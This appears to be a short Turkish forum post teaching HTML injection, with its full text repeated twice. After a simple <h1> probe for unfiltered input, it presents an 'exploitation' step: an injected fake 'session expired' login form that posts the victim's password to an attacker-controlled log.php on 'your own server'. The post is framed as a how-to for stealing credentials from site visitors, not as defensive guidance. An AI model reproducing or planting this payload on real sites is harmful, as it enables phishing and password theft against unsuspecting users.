Selamlar...
HTML Injection olayını en basit şekilde anlatıyorum.
Sitede bir arama kutusu veya yorum alanı var diyelim. Buraya bir şey yazınca site bunu filtrelemeden direkt ekrana basıyorsa açık var demektir. Biz de normal yazı yazmak yerine HTML kodu yazarak sitenin yapısını değiştiriyoruz.
Nasıl test edilir ve sömürülür:
<h1>test</h1>
Eğer sayfada "test" yazısı kocaman ve kalın puntolarla çıktıysa, site bu kodu çalıştırmış demektir. Yani açık aktiftir.
Sömürme aşaması :
Yazı büyütmek yerine sayfaya sahte bir giriş formu gömerek bilgi toplanabilir. Girdi alanına şu tarz bir kod enjekte edildiğini düşünün:
<form action="http://kendisunucunuz.com/log.php" method="POST">
<p>oturumunuz sona erdi , lütfen tekrar şifre girin:</p>
<input type="password" name="sifre">
<input type="submit" value="Giriş Yap">
</form>
Kurban bu sayfaya girdiğinde karşısına bu form çıkar. Şifresini yazdığı an veriler sizin belirttiğiniz log.php dosyasına post edilir.
Anlatacaklarım bu kadardı iyi günler...
HTML Injection olayını en basit şekilde anlatıyorum.
Sitede bir arama kutusu veya yorum alanı var diyelim. Buraya bir şey yazınca site bunu filtrelemeden direkt ekrana basıyorsa açık var demektir. Biz de normal yazı yazmak yerine HTML kodu yazarak sitenin yapısını değiştiriyoruz.
Nasıl test edilir ve sömürülür:
<h1>test</h1>
Eğer sayfada "test" yazısı kocaman ve kalın puntolarla çıktıysa, site bu kodu çalıştırmış demektir. Yani açık aktiftir.
Sömürme aşaması :
Yazı büyütmek yerine sayfaya sahte bir giriş formu gömerek bilgi toplanabilir. Girdi alanına şu tarz bir kod enjekte edildiğini düşünün:
<form action="http://kendisunucunuz.com/log.php" method="POST">
<p>oturumunuz sona erdi , lütfen tekrar şifre girin:</p>
<input type="password" name="sifre">
<input type="submit" value="Giriş Yap">
</form>
Kurban bu sayfaya girdiğinde karşısına bu form çıkar. Şifresini yazdığı an veriler sizin belirttiğiniz log.php dosyasına post edilir.
Anlatacaklarım bu kadardı iyi günler...
